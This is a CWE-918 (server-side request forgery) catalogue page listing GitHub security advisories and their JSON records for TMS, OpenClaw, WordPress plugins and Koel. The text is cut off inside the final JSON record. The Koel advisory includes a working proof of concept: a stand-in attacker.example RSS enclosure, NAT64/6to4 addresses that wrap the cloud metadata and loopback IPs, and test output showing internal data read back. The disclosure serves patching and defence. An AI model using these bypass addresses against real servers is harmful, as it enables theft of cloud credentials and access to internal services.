CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
4626 vulnerabilities reference this CWE, most recent first.
GHSA-RH9H-PMWW-RX47
Vulnerability from github – Published: 2026-01-17 21:30 – Updated: 2026-01-17 21:30A flaw has been found in xiweicheng TMS up to 2.28.0. This affects the function Summary of the file src/main/java/com/lhjz/portal/util/HtmlUtil.java. This manipulation of the argument url causes server-side request forgery. It is possible to initiate the attack remotely. The exploit has been published and may be used.
{
"affected": [],
"aliases": [
"CVE-2026-1062"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-17T20:15:53Z",
"severity": "MODERATE"
},
"details": "A flaw has been found in xiweicheng TMS up to 2.28.0. This affects the function Summary of the file src/main/java/com/lhjz/portal/util/HtmlUtil.java. This manipulation of the argument url causes server-side request forgery. It is possible to initiate the attack remotely. The exploit has been published and may be used.",
"id": "GHSA-rh9h-pmww-rx47",
"modified": "2026-01-17T21:30:27Z",
"published": "2026-01-17T21:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1062"
},
{
"type": "WEB",
"url": "https://github.com/bkglfpp/CVE-md/blob/main/%E5%95%86%E6%88%B7%E5%95%86%E5%9F%8E%E2%80%94%E5%95%86%E5%9F%8E%E5%BC%80%E5%8F%91tms/SSRF%EF%BC%881%EF%BC%89.md"
},
{
"type": "WEB",
"url": "https://github.com/bkglfpp/CVE-md/blob/main/%E5%95%86%E6%88%B7%E5%95%86%E5%9F%8E%E2%80%94%E5%95%86%E5%9F%8E%E5%BC%80%E5%8F%91tms/SSRF%EF%BC%882%EF%BC%89.md"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.341630"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.341630"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.731241"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.731242"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-RHFG-J8JQ-7V2H
Vulnerability from github – Published: 2026-03-29 15:48 – Updated: 2026-04-10 20:19Summary
SSRF via Unguarded Configured Base URLs in Multiple Channel Extensions (Incomplete Fix for CVE-2026-28476)
Affected Packages / Versions
- Package:
openclaw - Affected versions:
<= 2026.3.24 - First patched version:
2026.3.25 - Latest published npm version at verification time:
2026.3.24
Details
Several channel extensions still used raw fetch() against configured base URLs without the SSRF guard that was added for CVE-2026-28476. Commit f92c92515bd439a71bd03eb1bc969c1964f17acf routes those outbound requests through fetchWithSsrFGuard so configured endpoints cannot be rebound to blocked internal destinations.
Verified vulnerable on tag v2026.3.24 and fixed on main by commit f92c92515bd439a71bd03eb1bc969c1964f17acf.
Fix Commit(s)
f92c92515bd439a71bd03eb1bc969c1964f17acf
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.3.28"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35629"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-29T15:48:42Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nSSRF via Unguarded Configured Base URLs in Multiple Channel Extensions (Incomplete Fix for CVE-2026-28476)\n\n## Affected Packages / Versions\n\n- Package: `openclaw`\n- Affected versions: `\u003c= 2026.3.24`\n- First patched version: `2026.3.25`\n- Latest published npm version at verification time: `2026.3.24`\n\n## Details\n\nSeveral channel extensions still used raw `fetch()` against configured base URLs without the SSRF guard that was added for CVE-2026-28476. Commit `f92c92515bd439a71bd03eb1bc969c1964f17acf` routes those outbound requests through `fetchWithSsrFGuard` so configured endpoints cannot be rebound to blocked internal destinations.\n\nVerified vulnerable on tag `v2026.3.24` and fixed on `main` by commit `f92c92515bd439a71bd03eb1bc969c1964f17acf`.\n\n## Fix Commit(s)\n\n- `f92c92515bd439a71bd03eb1bc969c1964f17acf`",
"id": "GHSA-rhfg-j8jq-7v2h",
"modified": "2026-04-10T20:19:25Z",
"published": "2026-03-29T15:48:42Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-rhfg-j8jq-7v2h"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35629"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/f92c92515bd439a71bd03eb1bc969c1964f17acf"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-pg2v-8xwh-qhcc"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-server-side-request-forgery-via-unguarded-configured-base-urls-in-channel-extensions"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "OpenClaw: SSRF via Unguarded Configured Base URLs in Multiple Channel Extensions (Incomplete Fix for CVE-2026-28476)"
}
GHSA-RJ2P-J66C-MGQH
Vulnerability from github – Published: 2026-04-17 22:01 – Updated: 2026-05-08 19:32Summary
Browser tabs action select and close routes bypassed SSRF policy.
Affected Packages / Versions
- Package:
openclaw - Ecosystem: npm
- Affected versions:
< 2026.4.10 - Patched versions:
>= 2026.4.10
Impact
The browser /tabs/action select and close branches could operate on targets without enforcing configured browser SSRF policy, weakening tab-level navigation protections.
Technical Details
The fix enforces browser SSRF policy in the select and close tab-action branches.
Fix
The issue was fixed in #63332. The first stable tag containing the fix is v2026.4.10, and openclaw@2026.4.14 includes the fix.
Fix Commit(s)
48c0347921b7e9438af0312968fc360ca88023f3- PR: #63332
Release Process Note
Users should upgrade to openclaw 2026.4.10 or newer. The latest npm release, 2026.4.14, already includes the fix.
Credits
Thanks to @tdjackey for reporting this issue.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.4.10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42439"
],
"database_specific": {
"cwe_ids": [
"CWE-862",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-17T22:01:57Z",
"nvd_published_at": "2026-05-05T12:16:18Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nBrowser tabs action select and close routes bypassed SSRF policy.\n\n## Affected Packages / Versions\n\n- Package: `openclaw`\n- Ecosystem: npm\n- Affected versions: `\u003c 2026.4.10`\n- Patched versions: `\u003e= 2026.4.10`\n\n## Impact\n\nThe browser `/tabs/action` select and close branches could operate on targets without enforcing configured browser SSRF policy, weakening tab-level navigation protections.\n\n## Technical Details\n\nThe fix enforces browser SSRF policy in the select and close tab-action branches.\n\n## Fix\n\nThe issue was fixed in #63332. The first stable tag containing the fix is `v2026.4.10`, and `openclaw@2026.4.14` includes the fix.\n\n## Fix Commit(s)\n\n- `48c0347921b7e9438af0312968fc360ca88023f3`\n- PR: #63332\n\n## Release Process Note\n\nUsers should upgrade to `openclaw` 2026.4.10 or newer. The latest npm release, `2026.4.14`, already includes the fix.\n\n## Credits\n\nThanks to @tdjackey for reporting this issue.",
"id": "GHSA-rj2p-j66c-mgqh",
"modified": "2026-05-08T19:32:59Z",
"published": "2026-04-17T22:01:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-rj2p-j66c-mgqh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42439"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/pull/63332"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/48c03479211799ec3c1305ad69037cea25ba0e1e"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/48c0347921b7e9438af0312968fc360ca88023f3"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-ssrf-policy-bypass-in-browser-tabs-action-routes"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenClaw: Browser tabs action select and close routes bypassed SSRF policy"
}
GHSA-RJF9-FXG3-F244
Vulnerability from github – Published: 2025-11-05 09:30 – Updated: 2025-11-05 09:30The B Carousel Block – Responsive Image and Content Carousel plugin for WordPress is vulnerable to Server-Side Request Forgery in versions up to, and including, 1.1.5. This is due to the plugin not validating user-supplied URLs before passing them to the wp_remote_request() function. This makes it possible for authenticated attackers, with subscriber-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.
{
"affected": [],
"aliases": [
"CVE-2025-12388"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-05T07:15:32Z",
"severity": "MODERATE"
},
"details": "The B Carousel Block \u2013 Responsive Image and Content Carousel plugin for WordPress is vulnerable to Server-Side Request Forgery in versions up to, and including, 1.1.5. This is due to the plugin not validating user-supplied URLs before passing them to the wp_remote_request() function. This makes it possible for authenticated attackers, with subscriber-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
"id": "GHSA-rjf9-fxg3-f244",
"modified": "2025-11-05T09:30:25Z",
"published": "2025-11-05T09:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-12388"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3387643/b-carousel-block"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3388271/b-carousel-block"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/cb5ca73c-1a1d-4a93-bbcb-8af606189f26?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RJG3-R8F3-XP64
Vulnerability from github – Published: 2023-11-13 03:30 – Updated: 2026-04-28 21:33Server-Side Request Forgery (SSRF) vulnerability in Poll Maker Team Poll Maker – Best WordPress Poll Plugin.This issue affects Poll Maker – Best WordPress Poll Plugin: from n/a through 4.6.2.
{
"affected": [],
"aliases": [
"CVE-2023-34013"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-11-13T03:15:08Z",
"severity": "MODERATE"
},
"details": "Server-Side Request Forgery (SSRF) vulnerability in Poll Maker Team Poll Maker \u2013 Best WordPress Poll Plugin.This issue affects Poll Maker \u2013 Best WordPress Poll Plugin: from n/a through 4.6.2.",
"id": "GHSA-rjg3-r8f3-xp64",
"modified": "2026-04-28T21:33:07Z",
"published": "2023-11-13T03:30:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-34013"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/poll-maker/wordpress-poll-maker-plugin-4-6-2-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RJG7-R26H-CFP2
Vulnerability from github – Published: 2026-07-15 18:21 – Updated: 2026-07-15 18:21Summary
Koel's outbound-URL guard App\Helpers\Network::isPublicHost() classifies an IP as "public" using PHP's filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE). That flag set does not recognise IPv6 transition-address forms that embed a private/loopback/link-local IPv4: NAT64 well-known prefix 64:ff9b::/96 (RFC 6052) and 6to4 2002::/16 (RFC 3056). An address such as 64:ff9b::7f00:1 (= 127.0.0.1), 64:ff9b::a9fe:a9fe (= 169.254.169.254, the cloud metadata endpoint), or 2002:a00:1:: (= 10.0.0.1) is reported as a public address, so the guard returns true and Koel proceeds to fetch the URL.
The guard is the only SSRF defense in front of App\Values\Podcast\EpisodePlayable::createForEpisode(), which downloads a podcast episode with Http::sink($file)->get($url) and streams the response body back to the requesting user. Because an attacker fully controls the <enclosure url> of any RSS feed they host (and any authenticated user can subscribe to a feed), they can publish an enclosure whose hostname has an AAAA record that is a NAT64/6to4 wrapper of an internal IP. On hosts with NAT64 or 6to4/dual-stack routing (the standard configuration on IPv6-only AWS/GCP subnets and 6to4-relayed networks), the kernel routes the wrapper to the embedded IPv4, and Koel performs a full-read SSRF against the internal endpoint — returning the response body to the attacker.
This is a server-side request forgery with full response disclosure (CWE-918) against internal services and cloud instance metadata.
Vulnerable code
app/Helpers/Network.php — isPublicHost() (the literal-IP branch and the per-resolved-record branch use the identical predicate):
public function isPublicHost(string $host): bool
{
if (filter_var($host, FILTER_VALIDATE_IP)) {
return (
filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false
);
}
try {
$records = array_merge(dns_get_record($host, DNS_A) ?: [], dns_get_record($host, DNS_AAAA) ?: []);
} catch (Throwable) {
return false;
}
if ($records === []) {
return false;
}
foreach ($records as $record) {
$ip = $record['ip'] ?? $record['ipv6'] ?? null;
if (
!$ip
|| filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false
) {
return false;
}
}
return true;
}
PHP's FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE rejects RFC 1918, loopback, link-local and IPv4-mapped IPv6 (::ffff:a.b.c.d), but treats NAT64 64:ff9b::/96 and 6to4 2002::/16 as ordinary global addresses — even though both forms deterministically embed an IPv4 the kernel will route to.
The sink, app/Values/Podcast/EpisodePlayable.php — createForEpisode():
$network = app(Network::class);
$url = (string) $episode->path;
if (!$network->isSafeUrl($url)) { // isSafeUrl() -> isPublicHost(), the only guard
throw UnsafeUrlException::forUrl($url);
}
Http::sink($file)
->withOptions([
'allow_redirects' => [
'max' => 5,
'on_redirect' => static function (
RequestInterface $request,
ResponseInterface $response,
UriInterface $uri,
) use ($network): void {
if (!$network->isSafeUrl((string) $uri)) { // same guard on redirects -> same bypass
throw UnsafeUrlException::forUrl((string) $uri);
}
},
],
])
->get($url) // full-read SSRF: response streamed into $file
->throw();
$episode->path is the <enclosure url> from the subscribed podcast RSS feed. The redirect callback reuses the same isSafeUrl(), so a redirect to a NAT64/6to4 host is also accepted.
Attack scenario / How input reaches the sink
- Attacker hosts a podcast RSS feed and serves an item whose enclosure is
<enclosure url="http://int.attacker.example/secret" type="audio/mpeg"/>, whereint.attacker.examplepublishesAAAA = 64:ff9b::a9fe:a9fe(NAT64 wrapper of169.254.169.254) or2002:a00:1::(6to4 wrapper of10.0.0.1). The attacker may also use a bare IPv6-literal enclosure host directly. - A Koel user subscribes to the feed (a standard, intended feature — the podcast subscription endpoint accepts an arbitrary feed URL) and plays / streams the episode.
EpisodePlayable::createForEpisode()callsisSafeUrl($url). The host resolves to the NAT64/6to4 address;isPublicHost()runsfilter_var(NO_PRIV_RANGE | NO_RES_RANGE)over the embedded-IPv4 transition form and returnstrue.Http::sink($file)->get($url)connects. On a NAT64/dual-stack/6to4-routed host the kernel forwards to the embedded internal IPv4. The internal response body is written to$fileand served back to the user — full-read SSRF against internal services / cloud IMDS.
Proof of concept
(a) Guard-predicate proof (PHP 8.5, the exact filter_var call)
<?php
function isPublicHost_literal(string $ip): bool { // koel Network::isPublicHost literal branch
if (!filter_var($ip, FILTER_VALIDATE_IP)) return false;
return filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false;
}
foreach ([
['NAT64(127.0.0.1)','64:ff9b::7f00:1'], ['NAT64(169.254.169.254 IMDS)','64:ff9b::a9fe:a9fe'],
['NAT64(10.0.0.1)','64:ff9b::a00:1'], ['6to4(127.0.0.1)','2002:7f00:1::'],
['6to4(169.254.169.254)','2002:a9fe:a9fe::'], ['6to4(10.0.0.1)','2002:a00:1::'],
['direct 127.0.0.1','127.0.0.1'], ['direct 10.0.0.1','10.0.0.1'],
['direct 169.254.169.254','169.254.169.254'], ['IPv4-mapped ::ffff:10.0.0.1','::ffff:10.0.0.1'],
] as [$l,$ip]) printf("%-30s %-22s passes_public=%s\n",$l,$ip,isPublicHost_literal($ip)?'YES(BYPASS)':'no(blocked)');
Verbatim output:
NAT64(127.0.0.1) 64:ff9b::7f00:1 passes_public=YES(BYPASS)
NAT64(169.254.169.254 IMDS) 64:ff9b::a9fe:a9fe passes_public=YES(BYPASS)
NAT64(10.0.0.1) 64:ff9b::a00:1 passes_public=YES(BYPASS)
6to4(127.0.0.1) 2002:7f00:1:: passes_public=YES(BYPASS)
6to4(169.254.169.254) 2002:a9fe:a9fe:: passes_public=YES(BYPASS)
6to4(10.0.0.1) 2002:a00:1:: passes_public=YES(BYPASS)
direct 127.0.0.1 127.0.0.1 passes_public=no(blocked)
direct 10.0.0.1 10.0.0.1 passes_public=no(blocked)
direct 169.254.169.254 169.254.169.254 passes_public=no(blocked)
IPv4-mapped ::ffff:10.0.0.1 ::ffff:10.0.0.1 passes_public=no(blocked)
End-to-end reproduction against pinned koel v9.5.0
Environment: git clone --branch v9.5.0 https://github.com/koel/koel.git + composer install, run inside a php:8.5-cli container started with --cap-add=NET_ADMIN so the NAT64 and 6to4 prefixes can be assigned to lo, simulating a NAT64/dual-stack host's kernel routing:
ip -6 addr add 64:ff9b::7f00:1/128 dev lo # NAT64 wrapper of 127.0.0.1 -> loopback
ip -6 addr add 2002:7f00:1::/128 dev lo # 6to4 wrapper of 127.0.0.1 -> loopback
A localhost stand-in "internal IMDS" server listens on those literals and returns SENTINEL_INTERNAL_IMDS_SECRET=ssrf-proven-token-koel-nat64. The harness boots a real Laravel container, resolves the genuine released App\Helpers\Network (from app/Helpers/Network.php), invokes its real isPublicHost() on each attacker AAAA-record value, then runs the verbatim EpisodePlayable::createForEpisode() body (isSafeUrl guard, then Http::sink($file)->get($url) via Laravel's real Guzzle-backed client):
$network = $app->make(App\Helpers\Network::class); // resolved from app/Helpers/Network.php
// STEP 1: genuine guard decision on the attacker AAAA-record value
foreach ($aaaa as [$label,$ip]) echo $network->isPublicHost($ip) ? 'true' : 'false';
// STEP 2: verbatim createForEpisode body
if (!$network->isPublicHost($hostForGuard)) { /* REJECTED */ }
else { Http::sink($file)->withOptions([...])->get($url); /* fetch + read body */ }
Verbatim output:
Network class (genuine released koel source): App\Helpers\Network
Resolved from: /app/app/Helpers/Network.php
Guard predicate source (app/Helpers/Network.php isPublicHost):
filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)
==== STEP 1 — genuine $network->isPublicHost() on attacker AAAA-record value (the only guard) ====
isPublicHost(64:ff9b::7f00:1 ) = true [NAT64(127.0.0.1) -> loopback] expect=bypass-expected
isPublicHost(64:ff9b::a9fe:a9fe ) = true [NAT64(169.254.169.254) -> AWS IMDS] expect=bypass-expected
isPublicHost(2002:a00:1:: ) = true [6to4(10.0.0.1) -> RFC1918] expect=bypass-expected
isPublicHost(10.0.0.1 ) = false [DIRECT RFC1918 10.0.0.1 (neg ctrl A)] expect=must-block
isPublicHost(::ffff:10.0.0.1 ) = false [IPv4-mapped ::ffff:10.0.0.1 (neg B)] expect=must-block
isPublicHost(127.0.0.1 ) = false [DIRECT loopback 127.0.0.1 (neg ctrl)] expect=must-block
isPublicHost(8.8.8.8 ) = true [PUBLIC 8.8.8.8 (positive ctrl)] expect=must-allow
==== STEP 2 — genuine EpisodePlayable fetch via Http::sink (real network) ====
[IMDS-STANDIN HIT] local_addr_reached=[64:ff9b::7f00:1]:18099 peer=[64:ff9b::7f00:1]:37214 request_line="GET /secret HTTP/1.1" Host: [64:ff9b::7f00:1]:18099
[NAT64 well-known of 127.0.0.1]
url=http://[64:ff9b::7f00:1]:18099/secret
guard=PASSED fetched=YES status=200
sink_body=SENTINEL_INTERNAL_IMDS_SECRET=ssrf-proven-token-koel-nat64
[IMDS-STANDIN HIT] local_addr_reached=[2002:7f00:1::]:18099 peer=[2002:7f00:1::]:49654 request_line="GET /secret HTTP/1.1" Host: [2002:7f00:1::]:18099
[6to4 of 127.0.0.1]
url=http://[2002:7f00:1::]:18099/secret
guard=PASSED fetched=YES status=200
sink_body=SENTINEL_INTERNAL_IMDS_SECRET=ssrf-proven-token-koel-nat64
[DIRECT RFC1918 10.0.0.1 (neg ctrl A)]
url=http://10.0.0.1:18099/secret
guard=REJECTED fetched=no status=-
sink_body=(none)
==== E2E DONE ====
Result: both NAT64 and 6to4 enclosure URLs pass the genuine isPublicHost/isSafeUrl guard, the genuine Http::sink()->get() connects to the internal stand-in, and the internal response body (SENTINEL_INTERNAL_IMDS_SECRET=...) is read back — full-read SSRF.
Negative controls
http://10.0.0.1(direct RFC 1918) — guardREJECTED, no fetch (shown above).::ffff:10.0.0.1(IPv4-mapped IPv6) and127.0.0.1/169.254.169.254(direct) —isPublicHost(...) = false(shown in STEP 1). The existing guard correctly blocks every form except the two transition wrappers, confirming the gap is specific to NAT6464:ff9b::/96and 6to42002::/16.8.8.8.8(public) —isPublicHost(...) = true(positive control: legitimate public hosts are unaffected by the proposed fix).
Impact
Full-read SSRF (CWE-918). An authenticated user able to subscribe to a podcast feed they control can coerce the Koel server into issuing HTTP requests to internal services and reading the responses:
- Cloud instance metadata (
http://[64:ff9b::a9fe:a9fe]/latest/meta-data/...) — credential / IAM-role token theft on AWS/GCP/Azure. - Internal-only HTTP services (admin panels, databases with HTTP fronts,
localhostdaemons) reachable from the Koel host.
Precondition: the Koel host has NAT64 (64:ff9b::/96) or 6to4/dual-stack routing for the transition prefix — the default on IPv6-only AWS/GCP subnets (NAT64) and on 6to4-relayed dual-stack networks. This is the same host-precondition class under which the IPv4/IPv6-literal SSRF guard is meaningful at all.
Suggested fix
In isPublicHost(), before classifying an IP, normalise IPv6 transition forms by extracting the embedded IPv4 and re-running the private/reserved check on it, and additionally reject the transition prefixes outright. Concretely: for any IPv6 address, detect NAT64 (64:ff9b::/96, 64:ff9b:1::/48), 6to4 (2002::/16), IPv4-mapped (::ffff:0:0/96, already covered by the flag but should be unwrapped for consistency), Teredo (2001::/32) and IPv4-compatible (::/96) wrappers, extract the embedded IPv4, and require it to pass FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE as well. The same unwrap must be applied to every IP resolved in the DNS branch. A fix PR implementing this (with regression tests over NAT64/6to4/Teredo/IPv4-compatible wrappers of loopback / RFC 1918 / link-local / IMDS plus public-host positive controls) is linked below.
Fix PR
A fix is provided via a private fork PR against the advisory's temporary fork (linked from the advisory's "Collaborators" / fix workflow). It adds an extractEmbeddedIpv4() helper covering IPv4-mapped, IPv4-compatible, 6to4, NAT64 well-known and NAT64-discovery forms, recurse-checks the embedded IPv4 against the existing NO_PRIV_RANGE | NO_RES_RANGE predicate in both the literal-IP and per-resolved-record branches of isPublicHost(), and adds regression tests.
Credit
Reported by tonghuaroot.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 9.7.0"
},
"package": {
"ecosystem": "Packagist",
"name": "phanan/koel"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "9.7.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54494"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-15T18:21:39Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nKoel\u0027s outbound-URL guard `App\\Helpers\\Network::isPublicHost()` classifies an IP as \"public\" using PHP\u0027s `filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)`. That flag set does **not** recognise IPv6 transition-address forms that embed a private/loopback/link-local IPv4: NAT64 well-known prefix `64:ff9b::/96` (RFC 6052) and 6to4 `2002::/16` (RFC 3056). An address such as `64:ff9b::7f00:1` (= `127.0.0.1`), `64:ff9b::a9fe:a9fe` (= `169.254.169.254`, the cloud metadata endpoint), or `2002:a00:1::` (= `10.0.0.1`) is reported as a public address, so the guard returns `true` and Koel proceeds to fetch the URL.\n\nThe guard is the only SSRF defense in front of `App\\Values\\Podcast\\EpisodePlayable::createForEpisode()`, which downloads a podcast episode with `Http::sink($file)-\u003eget($url)` and streams the response body back to the requesting user. Because an attacker fully controls the `\u003cenclosure url\u003e` of any RSS feed they host (and any authenticated user can subscribe to a feed), they can publish an enclosure whose hostname has an `AAAA` record that is a NAT64/6to4 wrapper of an internal IP. On hosts with NAT64 or 6to4/dual-stack routing (the standard configuration on IPv6-only AWS/GCP subnets and 6to4-relayed networks), the kernel routes the wrapper to the embedded IPv4, and Koel performs a full-read SSRF against the internal endpoint \u2014 returning the response body to the attacker.\n\nThis is a server-side request forgery with full response disclosure (CWE-918) against internal services and cloud instance metadata.\n\n## Vulnerable code\n\n`app/Helpers/Network.php` \u2014 `isPublicHost()` (the literal-IP branch and the per-resolved-record branch use the identical predicate):\n\n```php\npublic function isPublicHost(string $host): bool\n{\n if (filter_var($host, FILTER_VALIDATE_IP)) {\n return (\n filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false\n );\n }\n\n try {\n $records = array_merge(dns_get_record($host, DNS_A) ?: [], dns_get_record($host, DNS_AAAA) ?: []);\n } catch (Throwable) {\n return false;\n }\n\n if ($records === []) {\n return false;\n }\n\n foreach ($records as $record) {\n $ip = $record[\u0027ip\u0027] ?? $record[\u0027ipv6\u0027] ?? null;\n\n if (\n !$ip\n || filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false\n ) {\n return false;\n }\n }\n\n return true;\n}\n```\n\n`PHP`\u0027s `FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE` rejects RFC 1918, loopback, link-local and IPv4-mapped IPv6 (`::ffff:a.b.c.d`), but treats NAT64 `64:ff9b::/96` and 6to4 `2002::/16` as ordinary global addresses \u2014 even though both forms deterministically embed an IPv4 the kernel will route to.\n\nThe sink, `app/Values/Podcast/EpisodePlayable.php` \u2014 `createForEpisode()`:\n\n```php\n$network = app(Network::class);\n$url = (string) $episode-\u003epath;\n\nif (!$network-\u003eisSafeUrl($url)) { // isSafeUrl() -\u003e isPublicHost(), the only guard\n throw UnsafeUrlException::forUrl($url);\n}\n\nHttp::sink($file)\n -\u003ewithOptions([\n \u0027allow_redirects\u0027 =\u003e [\n \u0027max\u0027 =\u003e 5,\n \u0027on_redirect\u0027 =\u003e static function (\n RequestInterface $request,\n ResponseInterface $response,\n UriInterface $uri,\n ) use ($network): void {\n if (!$network-\u003eisSafeUrl((string) $uri)) { // same guard on redirects -\u003e same bypass\n throw UnsafeUrlException::forUrl((string) $uri);\n }\n },\n ],\n ])\n -\u003eget($url) // full-read SSRF: response streamed into $file\n -\u003ethrow();\n```\n\n`$episode-\u003epath` is the `\u003cenclosure url\u003e` from the subscribed podcast RSS feed. The redirect callback reuses the same `isSafeUrl()`, so a redirect to a NAT64/6to4 host is also accepted.\n\n## Attack scenario / How input reaches the sink\n\n1. Attacker hosts a podcast RSS feed and serves an item whose enclosure is `\u003cenclosure url=\"http://int.attacker.example/secret\" type=\"audio/mpeg\"/\u003e`, where `int.attacker.example` publishes `AAAA = 64:ff9b::a9fe:a9fe` (NAT64 wrapper of `169.254.169.254`) or `2002:a00:1::` (6to4 wrapper of `10.0.0.1`). The attacker may also use a bare IPv6-literal enclosure host directly.\n2. A Koel user subscribes to the feed (a standard, intended feature \u2014 the podcast subscription endpoint accepts an arbitrary feed URL) and plays / streams the episode.\n3. `EpisodePlayable::createForEpisode()` calls `isSafeUrl($url)`. The host resolves to the NAT64/6to4 address; `isPublicHost()` runs `filter_var(NO_PRIV_RANGE | NO_RES_RANGE)` over the embedded-IPv4 transition form and returns `true`.\n4. `Http::sink($file)-\u003eget($url)` connects. On a NAT64/dual-stack/6to4-routed host the kernel forwards to the embedded internal IPv4. The internal response body is written to `$file` and served back to the user \u2014 full-read SSRF against internal services / cloud IMDS.\n\n## Proof of concept\n\n### (a) Guard-predicate proof (PHP 8.5, the exact `filter_var` call)\n\n```php\n\u003c?php\nfunction isPublicHost_literal(string $ip): bool { // koel Network::isPublicHost literal branch\n if 